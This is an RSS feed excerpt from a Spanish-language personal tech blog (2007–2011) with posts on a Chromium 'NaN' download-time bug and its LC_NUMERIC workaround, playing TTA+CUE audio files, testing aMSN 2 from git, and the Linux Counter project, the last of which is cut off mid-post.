<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Sarckz&#039;s weblog &#187; GNU/Linux</title>
	<atom:link href="http://sarckz.com.ar/category/software/gnulinux/feed/" rel="self" type="application/rss+xml" />
	<link>http://sarckz.com.ar</link>
	<description>Blog de opinión, guías y cosas de interés</description>
	<lastBuildDate>Sat, 24 Dec 2011 03:42:06 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='sarckz.com.ar' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Sarckz&#039;s weblog &#187; GNU/Linux</title>
		<link>http://sarckz.com.ar</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://sarckz.com.ar/osd.xml" title="Sarckz&#039;s weblog" />
	<atom:link rel='hub' href='http://sarckz.com.ar/?pushpress=hub'/>
		<item>
		<title>Chromium: Descargas muestran &#8220;NaN&#8221; de tiempo restante</title>
		<link>http://sarckz.com.ar/2011/07/28/chromium-descargas-nan-tiempo-restante/</link>
		<comments>http://sarckz.com.ar/2011/07/28/chromium-descargas-nan-tiempo-restante/#comments</comments>
		<pubDate>Fri, 29 Jul 2011 00:37:37 +0000</pubDate>
		<dc:creator>Sarckz</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Informática]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[descargas]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[minutos]]></category>
		<category><![CDATA[nan]]></category>
		<category><![CDATA[segundos]]></category>

		<guid isPermaLink="false">http://sarckz.com.ar/?p=552</guid>
		<description><![CDATA[Es un error que apareció hace bastante tiempo y que según parece afecta solo a los sistemas GNU/Linux. Mientras estaba en Arch Linux jamás lo tuve pero si desde que me pasé a Xubuntu (hace unos días). El problema sucede a la hora de descargar cualquier archivo. En el tiempo restante en lugar de, por [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=552&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Es un error que apareció hace bastante tiempo y que según parece afecta solo a los sistemas GNU/Linux. Mientras estaba en Arch Linux jamás lo tuve pero si desde que me pasé a Xubuntu (hace unos días).</p>
<p>El problema sucede a la hora de descargar cualquier archivo. En el tiempo restante en lugar de, por ejemplo, 5 minutos, muestra &#8220;NaN minutos&#8221;.</p>
<p style="text-align:center;"><a href="http://sarckz.files.wordpress.com/2011/07/google-chrome-nan.png" target="_blank"><img class="aligncenter size-full wp-image-561" title="Google Chrome NaN" src="http://sarckz.files.wordpress.com/2011/07/google-chrome-nan.png?w=1024" alt=""   /></a></p>
<p>Este bug ya está reportado en el repositorio oficial de Chromium (<a href="http://code.google.com/p/chromium/issues/detail?id=60476" target="_blank">http://code.google.com/p/chromium/issues/detail?id=60476</a>), y según se puede leer en los comentarios de varios contribuyentes, el error parece suceder cuando se usan &#8220;locales&#8221; (léase en inglés) que utilizan la coma (en lugar del punto) como separador en los decimales.</p>
<p>Una &#8220;solución&#8221; temporal a este problema que dio uno de los usuarios constituye en cambiar la variable de entorno <strong>LC_NUMERIC</strong> (que especifica el formato de números no monetarios) para que en lugar de usar la correspondiente a la locale que tenemos establecida (por ejemplo, <strong>es_AR.UTF-8</strong>) use una que separe los números decimales con un punto.</p>
<p><span id="more-552"></span></p>
<p><strong><span style="text-decoration:underline;">Aclaración:</span></strong> Antes de seguir quisiera mencionar que existe una diferencia entre &#8220;Chromium&#8221; y &#8220;Google Chrome&#8221;: Chromium (Chromium Browser) es el proyecto open source de este navegador (generalmente es compilado y empaquetado por personas relacionadas al repositorio de tu distribución GNU/Linux)  y &#8220;Google Chrome&#8221; es la versión empaquetada por Google con unos ligeros cambios en su funcionamiento. Pueden ver aqui cuales son: <a href="http://code.google.com/p/chromium/wiki/ChromiumBrowserVsGoogleChrome" target="_blank">http://code.google.com/p/chromium/wiki/ChromiumBrowserVsGoogleChrome</a>. Es importante saber cual de los dos tenemos porque el primero se ejecuta con el comando &#8220;<strong>chromium</strong>&#8221; y el segundo con &#8220;<strong>google-chrome</strong>&#8220;.</p>
<p>Volviendo a donde estábamos, tenemos 3 formas distintas de hacer esto:</p>
<p>1_ Ejecutar en la terminal:</p>
<p><code>$ export LC_NUMERIC="POSIX"</code></p>
<p>y abrirlo desde ahí.</p>
<p>2 _ Editar como root el archivo <strong>/etc/defaults/locale</strong> y agregar al final:</p>
<p><code>LC_NUMERIC="POSIX"</code></p>
<p>Y relogueamos. Obviamente tenemos que asegurarnos que esa variable no existe en el archivo, en caso contrario la cambiamos para que quede de esa forma.</p>
<p>3_ Esta opción sería la que menos interfiere con el comportamiento normal del sistema: Cambiar el comando del lanzador de Chromium/Google Chrome agregandole <strong>LC_NUMERIC=&#8221;POSIX&#8221;</strong> al principio. O ejecutar directamente en la terminal:</p>
<p><code>$ LC_NUMERIC="POSIX" chromium</code></p>
<p>o si tenemos la versión de Google:</p>
<p><code>$ LC_NUMERIC="POSIX" google-chrome</code></p>
<p>Y eso es todo. No queda nada más para hacer que esperar a que solucionen este error. Espero sea pronto.</p>
<p>Saludos</p>
<p><strong><span style="text-decoration:underline;">Locale:</span></strong> En informática, un locale es un conjunto de parámetros que define el idioma, país y cualquier otra preferencia especial que el usuario desee ver en su interfaz de usuario. Generalmente un identificador de locale consiste como mínimo de un identificador de idioma y un identificador de región. (Extraído de Wikipedia).</p>
<br />Filed under: <a href='http://sarckz.com.ar/category/informatica/software/gnulinux/'>GNU/Linux</a>, <a href='http://sarckz.com.ar/category/informatica/'>Informática</a>, <a href='http://sarckz.com.ar/category/informatica/software/'>Software</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sarckz.wordpress.com/552/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sarckz.wordpress.com/552/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sarckz.wordpress.com/552/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sarckz.wordpress.com/552/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/sarckz.wordpress.com/552/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/sarckz.wordpress.com/552/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/sarckz.wordpress.com/552/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/sarckz.wordpress.com/552/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sarckz.wordpress.com/552/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sarckz.wordpress.com/552/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sarckz.wordpress.com/552/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sarckz.wordpress.com/552/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sarckz.wordpress.com/552/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sarckz.wordpress.com/552/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=552&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://sarckz.com.ar/2011/07/28/chromium-descargas-nan-tiempo-restante/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dc238005e861ff358966bfe3bb523947?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sarckz</media:title>
		</media:content>

		<media:content url="http://sarckz.files.wordpress.com/2011/07/google-chrome-nan.png" medium="image">
			<media:title type="html">Google Chrome NaN</media:title>
		</media:content>
	</item>
		<item>
		<title>Usando la combinación TTA + CUE</title>
		<link>http://sarckz.com.ar/2011/07/26/usando-la-combinacion-tta-cue/</link>
		<comments>http://sarckz.com.ar/2011/07/26/usando-la-combinacion-tta-cue/#comments</comments>
		<pubDate>Tue, 26 Jul 2011 20:09:27 +0000</pubDate>
		<dc:creator>Sarckz</dc:creator>
				<category><![CDATA[BSD]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Informática]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[aimp2]]></category>
		<category><![CDATA[audacious]]></category>
		<category><![CDATA[cue]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[player]]></category>
		<category><![CDATA[tta]]></category>

		<guid isPermaLink="false">http://sarckz.wordpress.com/?p=499</guid>
		<description><![CDATA[Suele suceder que en nuestra búsqueda de música por Internet encontremos formatos que desconocemos, o no tenemos una clara idea de como utilizarlos. Tal es el caso de los CDs de música en forma de un archivo .tta, los cuales son generalmente acompañados por un archivo .cue. Pero antes de seguir con la forma de usarlos pondré [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=499&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Suele suceder que en nuestra búsqueda de música por Internet encontremos formatos que desconocemos, o no tenemos una clara idea de como utilizarlos. Tal es el caso de los CDs de música en forma de un archivo .tta, los cuales son generalmente acompañados por un archivo .cue.</p>
<p>Pero antes de seguir con la forma de usarlos pondré algo de información acerca de que son estos archivos:</p>
<p>Extraído de Wikipedia:</p>
<blockquote><p><strong>True Audio</strong> (abreviado <strong>TTA</strong>) es un <a title="Códec de audio" href="http://es.wikipedia.org/wiki/C%C3%B3dec_de_audio">códec de audio</a> simple sin pérdidas en tiempo real gratis. Está basado en pronóstico de filtros adaptativos los cuales han mostrado resultados satisfactorios comparados con la mayoría de los análogos modernos. TTA ofrece niveles de compresión elevados, manteniendo la rapidez de operación.</p>
<p>El códec de audio TTA realiza una compresión multicanal de 8, 16 y 24 bits de datos de archivos de audio <a title="WAV" href="http://es.wikipedia.org/wiki/WAV">WAV</a>. Según el tipo de música que comprimimos tendremos coeficientes de compresión alrededor del 30%-70%. Permite almacenar hasta 20 Cd&#8217;s de audio en un DVD-R (aprox. 4GB) manteniendo la calidad de audio original.</p></blockquote>
<blockquote><p>Una <strong>hoja cue</strong>, <strong>cue sheet</strong> o archivo.cue, es un archivo <a title="Unicode" href="http://es.wikipedia.org/wiki/Unicode">Unicode</a> (archivo de texto) que especifica cómo se distribuyen las pistas de datos en un disco compacto. Las hojas cue comúnmente tienen la extensión &#8220;.cue&#8221;. Originalmente usados por el programa CDRWIN para hacer imágenes ISO, pero actualmente usados por muchos programas audiovisuales y de grabación de CDs como <a title="Nero" href="http://es.wikipedia.org/wiki/Nero">Nero</a>.</p>
<p>Para un <a title="CD" href="http://es.wikipedia.org/wiki/CD">CD</a> de audio, la hoja cue puede especificar títulos y autores para el disco, así como los nombres de cada una de las pistas, <a title="OGG" href="http://es.wikipedia.org/wiki/OGG">OGG</a>, <a title="MP3" href="http://es.wikipedia.org/wiki/MP3">MP3</a>, <a title="WAV" href="http://es.wikipedia.org/wiki/WAV">WAV</a>, <a title="FLAC" href="http://es.wikipedia.org/wiki/FLAC">FLAC</a>, etc, y archivos <a title="BIN" href="http://es.wikipedia.org/wiki/BIN">BIN</a> son usados generalmente. Las <em>hojas cue</em> son especialmente usadas para grabar o escuchar discos donde todas las pistas son grabadas en un único archivo que contiene todo el audio y la hoja cue es la que especifica al reproductor cuándo termina una pista y comienza otra.</p></blockquote>
<p>A la hora de elegir un programa adecuado se suelen generar ciertas confusiones porque es frecuente que cada uno ofrezca lo que el otro no tiene, y a este le falte algo del anterior.</p>
<p><span id="more-499"></span></p>
<p>En Windows tenemos el <strong><a href="http://www.aimp2.us/" target="_blank">Aimp 2</a></strong>, un reproductor de música gratuito, muy moderno y funcional con soporte para la mayoría de códecs, una gran variedad de idiomas (incluyendo español) y skins. En este caso importa perfectamente la información de cada canción tan solo con abrir o añadir el archivo .tta, asegurándonos de que el .cue tiene el mismo nombre y se encuentra en la misma carpeta (algo así como abrir una película con subtítulos que están en otro archivo).</p>
<p style="text-align:center;"><a href="http://sarckz.files.wordpress.com/2011/07/sshot-12.png" target="_blank"><img class="aligncenter size-full wp-image-531" title="Aimp 2 TTA + CUE" src="http://sarckz.files.wordpress.com/2011/07/sshot-12.png?w=1024" alt=""   /></a></p>
<p>El asunto termina allí sin problemas.</p>
<p>Pero en GNU/Linux o BSD la cosa no es tan sencilla. O al menos así parece. Luego de intentar con varios programas encontré que la solución estaba mucho más a la vista de lo pensado.</p>
<p>Con <strong><a href="http://audacious-media-player.org/" target="_blank">Audacious</a></strong>, un reproductor de audio de software libre para sistemas POSIX, con una interfáz GTK y soporte para skins, extensiones y otros códecs. Por defecto soporta True Audio, pero para utilizar archivos .cue es preciso que <strong>libcue</strong> esté instalado. En ciertas distribuciones esta dependencia ya viene directamente con el programa (por ejemplo, Ubuntu), pero en otras (como Arch Linux), solo se incluye lo más esencial y tendremos que agregarla a mano.</p>
<p>Abrimos el Audacious, vamos a <strong>Archivo (File) &#8212;&gt; Agregar archivos (Add Files)</strong> y agregamos el archivo .cue directamente como haríamos con cualquier otro formato común (también podemos arrastrar el icono del archivo directamente dentro de la lista de reproducción). En este caso solamente tenemos que asegurarnos de que ambos archivos se encuentren dentro del mismo directorio. Esto va a importar la información de cada pista a la lista de reproducción permitiéndonos reproducirlas sin problema alguno.</p>
<p>Aquí una prueba de que funciona y como se ve:</p>
<p style="text-align:center;"><a href="http://sarckz.files.wordpress.com/2011/07/screenshot-07242011-045016-pm.png" target="_blank"><img class="aligncenter size-full wp-image-510" title="Audacious TTA + CUE" src="http://sarckz.files.wordpress.com/2011/07/screenshot-07242011-045016-pm.png?w=1024" alt=""   /></a></p>
<p>En fin, espero que hayan encontrado aquí la solución a este conocido problema.</p>
<p>Saludos.</p>
<p><span style="text-decoration:underline;">Más información:</span></p>
<p><a href="http://es.wikipedia.org/wiki/AIMP" target="_blank">Wikipedia - AIMP</a></p>
<p><a href="http://es.wikipedia.org/wiki/Audacious_Media_Player" target="_blank">Wikipedia - Audacious Media Player</a></p>
<hr />
<p style="text-align:center;"><a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" rel="license"><img style="border-width:0;" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons License" /></a><br />
This work by Tobias Nahuel Paiva (Sarckz) is licensed under a <a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" rel="license">Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License</a>.</p>
<br />Filed under: <a href='http://sarckz.com.ar/category/informatica/software/bsd/'>BSD</a>, <a href='http://sarckz.com.ar/category/informatica/software/gnulinux/'>GNU/Linux</a>, <a href='http://sarckz.com.ar/category/informatica/'>Informática</a>, <a href='http://sarckz.com.ar/category/informatica/software/'>Software</a>, <a href='http://sarckz.com.ar/category/informatica/software/windows/'>Windows</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sarckz.wordpress.com/499/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sarckz.wordpress.com/499/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sarckz.wordpress.com/499/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sarckz.wordpress.com/499/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/sarckz.wordpress.com/499/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/sarckz.wordpress.com/499/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/sarckz.wordpress.com/499/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/sarckz.wordpress.com/499/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sarckz.wordpress.com/499/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sarckz.wordpress.com/499/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sarckz.wordpress.com/499/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sarckz.wordpress.com/499/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sarckz.wordpress.com/499/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sarckz.wordpress.com/499/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=499&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://sarckz.com.ar/2011/07/26/usando-la-combinacion-tta-cue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dc238005e861ff358966bfe3bb523947?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sarckz</media:title>
		</media:content>

		<media:content url="http://sarckz.files.wordpress.com/2011/07/sshot-12.png" medium="image">
			<media:title type="html">Aimp 2 TTA + CUE</media:title>
		</media:content>

		<media:content url="http://sarckz.files.wordpress.com/2011/07/screenshot-07242011-045016-pm.png" medium="image">
			<media:title type="html">Audacious TTA + CUE</media:title>
		</media:content>

		<media:content url="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" medium="image">
			<media:title type="html">Creative Commons License</media:title>
		</media:content>
	</item>
		<item>
		<title>Prueba aMSN 2 en GNU/Linux</title>
		<link>http://sarckz.com.ar/2011/07/17/prueba-amsn-2-en-gnu-linux/</link>
		<comments>http://sarckz.com.ar/2011/07/17/prueba-amsn-2-en-gnu-linux/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 23:25:25 +0000</pubDate>
		<dc:creator>Sarckz</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Informática]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[amsn2]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://sarckz.wordpress.com/?p=339</guid>
		<description><![CDATA[Información extraída de Wikipedia: aMSN es un cliente de mensajería instantánea que utiliza el protocolo MSN y está publicado bajo la licencia GPL. Su nombre proviene de Álvaro&#8217;s Messenger. Su principal objetivo es ayudar a que los nuevos usuarios de Linux puedan seguir en contacto con sus conocidos que usan Windows yMacintosh. Para lograr sus propósitos aMSN imita la apariencia y el uso de Windows Live Messenger y admite [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=339&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Información extraída de <a href="http://es.wikipedia.org/wiki/AMSN" target="_blank">Wikipedia</a>:</p>
<blockquote><p><strong>aMSN</strong> es un <a title="Cliente de mensajería instantánea" href="http://es.wikipedia.org/wiki/Cliente_de_mensajer%C3%ADa_instant%C3%A1nea">cliente de mensajería instantánea</a> que utiliza el protocolo <a title="MSN" href="http://es.wikipedia.org/wiki/MSN">MSN</a> y está publicado bajo la <a title="Licencia" href="http://es.wikipedia.org/wiki/Licencia">licencia</a> <a title="Licencia pública general de GNU" href="http://es.wikipedia.org/wiki/Licencia_p%C3%BAblica_general_de_GNU">GPL</a>. Su nombre proviene de <em>Álvaro&#8217;s Messenger</em>. Su principal objetivo es ayudar a que los nuevos usuarios de <a title="Linux" href="http://es.wikipedia.org/wiki/Linux">Linux</a> puedan seguir en contacto con sus conocidos que usan <a title="Microsoft Windows" href="http://es.wikipedia.org/wiki/Microsoft_Windows">Windows</a> y<a title="Apple Macintosh" href="http://es.wikipedia.org/wiki/Apple_Macintosh">Macintosh</a>. Para lograr sus propósitos aMSN imita la apariencia y el uso de <a title="Windows Live Messenger" href="http://es.wikipedia.org/wiki/Windows_Live_Messenger">Windows Live Messenger</a> y admite muchas de sus características.</p></blockquote>
<p><a href="http://www.amsn-project.net/forums/index.php?topic=5299.0" target="_blank">aMSN 2</a> es una versión completamente reescrita de la rama actual del aMSN (0.x). Utiliza Python y tiene soporte para varias interfaces de usuario. El problema más grande de este proyecto es que está en desarrollo desde aproximadamente 3 o 4 años y hasta ahora no han especificado una fecha de lanzamiento (debido a que no pueden estimar una) ni sacado ninguna versión &#8220;beta&#8221; y mucho menos una &#8220;final&#8221;, lo que tiene impaciente a muchos, causando insultos y críticas negativas respecto al tema. Pero según se ve en su repositorio de github (<a href="https://github.com/amsn/amsn2" target="_blank">https://github.com/amsn/amsn2</a>) hay muchas personas involucradas en el proyecto que le están poniendo bastante dedicación. Hay que pensar también que este es un software completamente gratuito y los desarrolladores a veces solo pueden aportar durante su tiempo libre.</p>
<p>Afortunadamente, el repositorio está lo suficientemente desarrollado y organizado como para que simplemente podamos descargar los ficheros de este y probar el programa en su estado actual. Veremos que hay muchísimas características que aún no están implementadas pero al menos se pueden realizar las cosas más básicas.</p>
<p><span id="more-339"></span></p>
<p>Requisitos:</p>
<ul>
<li>Python 2</li>
<li>python-pyopenssl</li>
<li>python-crypto</li>
<li>python-imaging</li>
<li>git (para obtener los ficheros)</li>
</ul>
<div>Nos dirigimos a la terminal de comandos y usamos git para clonar el repositorio del aMSN 2 de la siguiente forma:</div>
<p><code>$ git clone https://github.com/amsn/amsn2.git</code></p>
<p>Se va a crear el directorio &#8220;amsn2&#8243;. Ingresamos en el y obtenemos los submódulos necesarios (por el momento solo es uno (papyon)):</p>
<p><code>$ cd amsn2<br />
$ git submodule update --init</code></p>
<p>Ahora solo nos queda ejecutar el programa eligiendo una interfaz (con la opción -f) para la aplicación. Las que están disponibles son:</p>
<ul>
<li>web</li>
<li>efl: Requisitos: Las librerías de EFL, python-efl, python-etk</li>
<li>qt4: Requisitos: pyQT. Recomiendo usar esta porque es la que mejor se ve por el momento (hasta tiene una skin muy agradable)</li>
<li>gtk: Requisitos: python-gtk. Bastante simple pero funcional. Obviamente se le aplica el estilo GTK que tengas establecido.</li>
<li>curses: Para usarlo desde la terminal de comandos.</li>
</ul>
<div>En este caso usamos &#8220;qt4&#8243;:</div>
<p><code>$ python2 amsn2.py -f qt4</code></p>
<p style="text-align:left;"><code></code>Se abre la ventana principal donde podemos ingresar nuestro usuario y contraseña, y nos da la posibilidad de elegir nuestro estado inicial, si queremos recordar usuario y contraseña y/o iniciar sesión automáticamente cada vez que ejecutamos el programa.</p>
<p style="text-align:center;"><a href="http://sarckz.files.wordpress.com/2011/07/screenshot-07172011-122203-pm.png" target="_blank"><img class="aligncenter size-full wp-image-344" title="aMSN 2 QT 4 Interface" src="http://sarckz.files.wordpress.com/2011/07/screenshot-07172011-122203-pm.png?w=1024" alt=""   /></a></p>
<p><a href="http://sarckz.files.wordpress.com/2011/07/screenshot-07172011-080945-pm2.png"><img class="aligncenter size-full wp-image-383" title="aMSN 2 ventana principal y ventana de conversación" src="http://sarckz.files.wordpress.com/2011/07/screenshot-07172011-080945-pm2.png?w=1024" alt=""   /></a></p>
<p>Como es una versión en desarrollo y obviamente no está terminada lo más probable es que queramos mantenerla actualizada a los últimos cambios actualizando el código fuente que obtuvimos de git. Ingresamos al directorio &#8220;amsn2&#8243; y escribimos:</p>
<p><code>$ git remote update<br />
$ git reset --hard origin/master<br />
$ git submodule update</code></p>
<p>El equipo de aMSN creó un script para las personas que no quieren estar obligadas a conocer git para obtener los ficheros del programa, ejecutarlo, modificarlo y enviar los cambios a github. (En inglés): <a href="http://www.amsn-project.net/forums/index.php?topic=8245.0" target="_blank">http://www.amsn-project.net/forums/index.php?topic=8245.0</a>.</p>
<p>Ahora solo resta esperar a una versión más &#8220;completa&#8221; y empaquetada para su instalación/uso.</p>
<p>Sin más que decir, saludos y no duden en hacer cualquier comentario que tengan al respecto.</p>
<hr />
<p style="text-align:center;"><a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" rel="license"><img style="border-width:0;" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons License" /></a><br />
This work by Tobias Nahuel Paiva (Sarckz) is licensed under a <a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" rel="license">Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License</a>.</p>
<br />Filed under: <a href='http://sarckz.com.ar/category/informatica/software/gnulinux/'>GNU/Linux</a>, <a href='http://sarckz.com.ar/category/informatica/'>Informática</a>, <a href='http://sarckz.com.ar/category/informatica/internet/'>Internet</a>, <a href='http://sarckz.com.ar/category/informatica/software/'>Software</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sarckz.wordpress.com/339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sarckz.wordpress.com/339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sarckz.wordpress.com/339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sarckz.wordpress.com/339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/sarckz.wordpress.com/339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/sarckz.wordpress.com/339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/sarckz.wordpress.com/339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/sarckz.wordpress.com/339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sarckz.wordpress.com/339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sarckz.wordpress.com/339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sarckz.wordpress.com/339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sarckz.wordpress.com/339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sarckz.wordpress.com/339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sarckz.wordpress.com/339/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=339&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://sarckz.com.ar/2011/07/17/prueba-amsn-2-en-gnu-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dc238005e861ff358966bfe3bb523947?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sarckz</media:title>
		</media:content>

		<media:content url="http://sarckz.files.wordpress.com/2011/07/screenshot-07172011-122203-pm.png" medium="image">
			<media:title type="html">aMSN 2 QT 4 Interface</media:title>
		</media:content>

		<media:content url="http://sarckz.files.wordpress.com/2011/07/screenshot-07172011-080945-pm2.png" medium="image">
			<media:title type="html">aMSN 2 ventana principal y ventana de conversación</media:title>
		</media:content>

		<media:content url="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" medium="image">
			<media:title type="html">Creative Commons License</media:title>
		</media:content>
	</item>
		<item>
		<title>El contador de Linux (Linux counter)</title>
		<link>http://sarckz.com.ar/2007/12/15/el-contador-de-linux-linux-counter/</link>
		<comments>http://sarckz.com.ar/2007/12/15/el-contador-de-linux-linux-counter/#comments</comments>
		<pubDate>Sat, 15 Dec 2007 12:18:58 +0000</pubDate>
		<dc:creator>Sarckz</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Informática]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.sarckz.com/index.php/2007/12/15/el-contador-de-linux-linux-counter/</guid>
		<description><![CDATA[¿Cuantos usuarios de Linux habrá?. ¿Cientos de miles?. ¿Millones?. Debido a que Linux es tan libre y no requiere registrarse en ninguna central de autoridad, como por ejemplo Microsoft (en la cual debes &#8220;activar tu Windows&#8221;) no se puede tener un número siquiera aproximado. Pero alguien se propuso intentar contar dicha cantidad. Harald T. Alvestrand [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=80&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>¿Cuantos usuarios de Linux habrá?. ¿Cientos de miles?. ¿Millones?. Debido a que Linux es tan libre y no requiere registrarse en ninguna central de autoridad, como por ejemplo Microsoft (en la cual debes &#8220;activar tu Windows&#8221;) no se puede tener un número siquiera aproximado.</p>
<p>Pero alguien se propuso intentar contar dicha cantidad. Harald T. Alvestrand en su web <a href="http://counter.li.org/" target="_blank">http://counter.li.org/</a> nos permite registrarnos en lo que sería el &#8220;contador de usuarios de Linux&#8221;.</p>
<p>No sólo podemos agregarnos como usuarios de dicho sistema, sino que también podemos agregar los ordenadores en los cuales usamos Linux (dando información técnica y las cosas que realizamos con ellos).</p>
<p>Luego de una simple registración nos llega un e-mail con nuestros datos para poder loguearnos en la web.</p>
